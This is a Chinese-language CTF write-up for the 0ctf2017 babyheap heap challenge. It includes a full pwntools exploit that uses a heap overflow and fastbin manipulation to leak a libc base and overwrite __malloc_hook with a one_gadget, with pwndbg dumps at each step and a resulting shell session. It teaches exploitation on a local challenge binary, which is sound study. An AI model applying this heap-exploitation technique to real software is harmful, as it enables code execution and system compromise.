0ctf2017-babypwn

前言

本片文章從0ctf2017-babyheap這一道pwn題目入手,講解pwn堆中的一些利用手法

題目鏈接

分析程序

首先檢查程序保護,所有的保護措施都是開啓的,這意味着我們想要改寫程序流程考慮從malloc_hookfree_hook入手

[*] '/home/thunder/Desktop/codes/ctf/pwn/heap/0ctf_babyheap/0ctfbabyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

sed -i s/alarm/isnan/g ./0ctfbabyheap命令除去alarm函數,初步運行程序,有以下幾個功能:

  1. 申請chunk
  2. 填充chunk
  3. 銷燬chunk
  4. 輸出chunk
  5. 退出程序
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 

漏洞點存在於申請chunk和填充chunk部分,我們着重對這兩個地方進行分析

申請chunk

IDA中反彙編如下,這裏使用了calloc函數,相當於malloc + memset

void __fastcall alloc(__int64 heap)
{
  int index; // [rsp+10h] [rbp-10h]
  int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( index = 0; index <= 15; ++index )
  {
    if ( !*(_DWORD *)(24LL * index + heap) )
    {
      printf("Size: ");
      v2 = input_();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * index + heap) = 1;
        *(_QWORD *)(heap + 24LL * index + 8) = v2;
        *(_QWORD *)(heap + 24LL * index + 16) = v3;
        printf("Allocate Index %d\n", (unsigned int)index);
      }
      return;
    }
  }
}

反彙編中我們可以分析heap結構體大致如下

struct heap
{
    signed int flag;    //標記是否被分配
    signed int size;    //請求申請的大小
    void* chunk_m;      //chunk的mem值
}

填充chunk

IDA反彙編如下,需要注意的是,這裏並沒有對填充的大小進行限制,也就意味着我們可以堆溢出控制下面的chunk

__int64 __fastcall fill(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = input_();
  v2 = result;
  if ( (int)result >= 0 && (int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = input_();
      v3 = result;
      if ( (int)result > 0 )
      {
        printf("Content: ");
        result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}

Exploit

這裏先放exp,然後逐步進行調試講解,我們的利用可以分爲兩步,第一步是泄露libc基地址,第二步是getshell

from pwn import *

r = process('./0ctfbabyheap')
elf =ELF('./0ctfbabyheap')

context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

if args.G:
    gdb.attach(r)

def malloc(size):
    r.recvuntil('Command: ')
    r.sendline('1')
    r.recvuntil('Size: ')
    r.sendline(str(size))

def free(idx):
    r.recvuntil('Command: ')
    r.sendline('3')
    r.recvuntil('Index: ')
    r.sendline(str(idx))
    
def fill(idx,content):
    r.recvuntil('Command: ')
    r.sendline('2')
    r.recvuntil('Index: ')
    r.sendline(str(idx))
    r.recvuntil('Size: ')
    r.sendline(str(len(content)))
    r.recvuntil('Content: ')
    r.send(content)

def dump(idx):
    r.recvuntil('Command: ')
    r.sendline('4')
    r.recvuntil('Index: ')
    r.sendline(str(idx))
    r.recvline()
    return r.recvline()

malloc(0x10) # fast chunk 0
malloc(0x10) # fast chunk 1
malloc(0x10) # fast chunk 2
malloc(0x10) # fast chunk 3
malloc(0x80) # small chunk

free(1) # fastbin <- chunk1
free(2) # fastbin <- chunk2 <- chunk1

fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))

fill(3,p64(0)*3+p64(0x21))

malloc(0x10)
malloc(0x10)

fill(3,p64(0)*3+p64(0x91))
malloc(0x80)
free(4)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x58-0x399b00
success("libc_base: "+hex(libc_base))

fake_chunk = libc_base + 0x399acd
success("fake chunk:"+hex(fake_chunk))
malloc(0x60)
free(4)

fill(2,p64(fake_chunk)) # chunk[2]->fd = fake chunk

malloc(0x60)
malloc(0x60) # malloc fake chunk

# construct fake chunk
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x3f35a) # one_gadgets
fill(6, payload)

# trigger
malloc(255)

r.interactive()

泄露libc地址

這裏我們是通過small chunk的機制泄露libc地址,當small chunk被釋放之後,會進入unsorted bin中,它的fd和bk指針會指向同一個地址(unsorted bin鏈表的頭部),通過這個地址可以獲得main_arena的地址,然後計算libc基地址,首先我們創建如下幾個chunk

code:
malloc(0x10) # fast chunk 0
malloc(0x10) # fast chunk 1
malloc(0x10) # fast chunk 2
malloc(0x10) # fast chunk 3
malloc(0x80) # small chunk
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:	0x0000000000000000	0x0000000000000021
0x55c448092010:	0x0000000000000000	0x0000000000000000
0x55c448092020:	0x0000000000000000	0x0000000000000021
0x55c448092030:	0x0000000000000000	0x0000000000000000
0x55c448092040:	0x0000000000000000	0x0000000000000021
0x55c448092050:	0x0000000000000000	0x0000000000000000
0x55c448092060:	0x0000000000000000	0x0000000000000021
0x55c448092070:	0x0000000000000000	0x0000000000000000
0x55c448092080:	0x0000000000000000	0x0000000000000091
0x55c448092090:	0x0000000000000000	0x0000000000000000
pwndbg> x/20gx 0x361e77c925a0 => heap struct
0x361e77c925a0:	0x0000000000000001	0x0000000000000010
0x361e77c925b0:	0x000055c448092010	0x0000000000000001
0x361e77c925c0:	0x0000000000000010	0x000055c448092030
0x361e77c925d0:	0x0000000000000001	0x0000000000000010
0x361e77c925e0:	0x000055c448092050	0x0000000000000001
0x361e77c925f0:	0x0000000000000010	0x000055c448092070
0x361e77c92600:	0x0000000000000001	0x0000000000000080
0x361e77c92610:	0x000055c448092090	0x0000000000000000
0x361e77c92620:	0x0000000000000000	0x0000000000000000
0x361e77c92630:	0x0000000000000000	0x0000000000000000

釋放兩個fast chunk,將第二個指向第一個

code:
free(1)
free(2)
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:	0x0000000000000000	0x0000000000000021 => 0
0x55c448092010:	0x0000000000000000	0x0000000000000000
0x55c448092020:	0x0000000000000000	0x0000000000000021 => 1 free
0x55c448092030:	0x0000000000000000	0x0000000000000000
0x55c448092040:	0x0000000000000000	0x0000000000000021 => 2 free
0x55c448092050:	0x000055c448092020	0x0000000000000000
0x55c448092060:	0x0000000000000000	0x0000000000000021 => 3
0x55c448092070:	0x0000000000000000	0x0000000000000000
0x55c448092080:	0x0000000000000000	0x0000000000000091 => 4
0x55c448092090:	0x0000000000000000	0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x55c448092040 —▸ 0x55c448092020 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/20gx 0x361e77c925a0
0x361e77c925a0:	0x0000000000000001	0x0000000000000010
0x361e77c925b0:	0x000055c448092010	0x0000000000000000
0x361e77c925c0:	0x0000000000000000	0x0000000000000000
0x361e77c925d0:	0x0000000000000000	0x0000000000000000
0x361e77c925e0:	0x0000000000000000	0x0000000000000001
0x361e77c925f0:	0x0000000000000010	0x000055c448092070
0x361e77c92600:	0x0000000000000001	0x0000000000000080
0x361e77c92610:	0x000055c448092090	0x0000000000000000
0x361e77c92620:	0x0000000000000000	0x0000000000000000
0x361e77c92630:	0x0000000000000000	0x0000000000000000

這裏我們通過 fill 函數修改第0個chunk之後的內容,因爲沒有限制,所以我們可以修改到2處的指針,讓其指向chunk4,因爲chunk4是small bin,被鏈入到了fast bin中會有size的檢查,所以我們這裏需要將chunk4處的size改爲0x20過size的檢測

code:
fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:	0x0000000000000000	0x0000000000000021
0x55c448092010:	0x0000000000000000	0x0000000000000000
0x55c448092020:	0x0000000000000000	0x0000000000000021 free
0x55c448092030:	0x0000000000000000	0x0000000000000000
0x55c448092040:	0x0000000000000000	0x0000000000000021 free
0x55c448092050:	0x000055c448092080	0x0000000000000000
0x55c448092060:	0x0000000000000000	0x0000000000000021
0x55c448092070:	0x0000000000000000	0x0000000000000000
0x55c448092080:	0x0000000000000000	0x0000000000000091
0x55c448092090:	0x0000000000000000	0x0000000000000000
code:
fill(3,p64(0)*3+p64(0x21))
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:	0x0000000000000000	0x0000000000000021
0x55c448092010:	0x0000000000000000	0x0000000000000000
0x55c448092020:	0x0000000000000000	0x0000000000000021
0x55c448092030:	0x0000000000000000	0x0000000000000000
0x55c448092040:	0x0000000000000000	0x0000000000000021
0x55c448092050:	0x000055c448092080	0x0000000000000000
0x55c448092060:	0x0000000000000000	0x0000000000000021
0x55c448092070:	0x0000000000000000	0x0000000000000000
0x55c448092080:	0x0000000000000000	0x0000000000000021
0x55c448092090:	0x0000000000000000	0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x55c448092040 —▸ 0x55c448092080 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

然後我們申請這兩個地方的fastbin就可以讓index 2的堆塊的地址和index 4堆塊的地址一樣,等index 4被free後,這裏就是fd 字段,之後便能通過dump index 2來泄漏index 4的fd內容,括號中括起來的即是heap結構體中指向的同一地址

code:
malloc(0x10)
malloc(0x10)
debugger:
pwndbg> x/20gx 0x361e77c925a0
0x361e77c925a0:	0x0000000000000001	0x0000000000000010
0x361e77c925b0:	0x000055c448092010	0x0000000000000001
0x361e77c925c0:	0x0000000000000010	0x000055c448092050
0x361e77c925d0:	0x0000000000000001	0x0000000000000010
0x361e77c925e0:	(0x000055c448092090)	0x0000000000000001
0x361e77c925f0:	0x0000000000000010	0x000055c448092070
0x361e77c92600:	0x0000000000000001	0x0000000000000080
0x361e77c92610:	(0x000055c448092090)	0x0000000000000000
0x361e77c92620:	0x0000000000000000	0x0000000000000000
0x361e77c92630:	0x0000000000000000	0x0000000000000000

我們再將其改爲原來的大小,申請釋放即可泄露出fd指向的地址

code:
fill(3,p64(0)*3+p64(0x91))
malloc(0x80)
free(4)
debugger:
pwndbg> x/20gx 0x55c448092000
0x55c448092000:	0x0000000000000000	0x0000000000000021
0x55c448092010:	0x0000000000000000	0x0000000000000000
0x55c448092020:	0x0000000000000000	0x0000000000000021
0x55c448092030:	0x0000000000000000	0x0000000000000000
0x55c448092040:	0x0000000000000000	0x0000000000000021
0x55c448092050:	0x0000000000000000	0x0000000000000000
0x55c448092060:	0x0000000000000000	0x0000000000000021
0x55c448092070:	0x0000000000000000	0x0000000000000000
0x55c448092080:	0x0000000000000000	0x0000000000000091
0x55c448092090:	0x00007f9c3ed6db58	0x00007f9c3ed6db58
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55c448092080 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c448092080
smallbins
empty
largebins
empty

這個地址是main_arena+88,我們將其減去0x58得到main_arena的地址,然後根據自己系統libc版本減去相應的偏移獲得libc的基地址

code:
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x58-0x399b00
success("libc_base: "+hex(libc_base))
debugger:
pwndbg> vmmap
[...]
    0x7f9c3e9d4000     0x7f9c3eb69000 r-xp   195000 0      /usr/lib/x86_64-linux-gnu/libc-2.24.so
[...]
pwndbg> p/x 0x7f9c3ed6db00-0x7f9c3e9d4000
$2 = 0x399b00

getshell

我們這裏考慮的是使用malloc_hook函數來getshell,當調用 malloc 時,如果 malloc_hook 不爲空則調用指向的這個函數,所以這裏我們傳入一個 one-gadget 即可,首先我們需要找到一個fake chunk,我們將其申請到然後將 one-gadget 寫入,它的size選擇在0x10~0x80之間即可,這裏選擇的是mallc_hook上面一排的地方,爲了使我們的user data剛好能夠寫到malloc_hook的位置

pwndbg> x/20gx 0x7f9c3e9d4000+0x399acd
0x7f9c3ed6dacd <_IO_wide_data_0+301>:	0x9c3ed69f00000000	0x000000000000007f
0x7f9c3ed6dadd:	0x9c3ea50420000000	0x9c3ea503c000007f
0x7f9c3ed6daed <__realloc_hook+5>:	0x000000000000007f	0x0000000000000000
0x7f9c3ed6dafd:	0x0000000000000000	0x0000000000000000
0x7f9c3ed6db0d <main_arena+13>:	0x0000000000000000	0x0000000000000000
0x7f9c3ed6db1d <main_arena+29>:	0x0000000000000000	0x0000000000000000
0x7f9c3ed6db2d <main_arena+45>:	0x0000000000000000	0x0000000000000000
0x7f9c3ed6db3d <main_arena+61>:	0x0000000000000000	0x0000000000000000
0x7f9c3ed6db4d <main_arena+77>:	0x0000000000000000	0xc4480921a0000000
0x7f9c3ed6db5d <main_arena+93>:	0x0000000000000055	0xc448092080000000

利用fast bin機制進行如下構造,我們需要申請到fake_chunk的位置

code:
malloc(0x60)
free(4)
fill(2,p64(fake_chunk)) # chunk[2]->fd = fake chunk
debugger:
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55c448092080 —▸ 0x7f9c3ed6dacd (_IO_wide_data_0+301) ◂— 0x9c3ea50420000000
0x80: 0x0
unsortedbin
all: 0x55c4480920f0 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c4480920f0
smallbins
empty
largebins
empty

繼續malloc兩次即可申請到fake chunk的地方,就可以對malloc_hook進行寫入

code:
malloc(0x60)
malloc(0x60) # malloc fake chunk
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x9c3ea50420000000
0x80: 0x0
unsortedbin
all: 0x55c4480920f0 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c4480920f0
smallbins
empty
largebins
empty

最後我們構造fake chunk,寫入one_gadget即可,這裏根據自己的libc版本查詢相應的one_gadget

# construct fake chunk
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x3f35a) # one_gadgets
fill(6, payload)

# trigger
malloc(255)

最後getshell

$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x2f bytes:
    '0ctfbabyheap  core  exp.py  libc.so.6\n'
0ctfbabyheap  core  exp.py  libc.so.6
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x8 bytes:
    'thunder\n'
thunder

後記

這道題目因爲可以自己構造堆的結構,所以比較自由,利用的方法也非常多,我的exp是針對我的deepin環境,想要在不同平臺進行利用,需要查看自己libc中的偏移,修改部分偏移即可,好久沒在csdn上寫東西了,大多數都在博客中更新的,今天心血來潮跟新一下吧~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章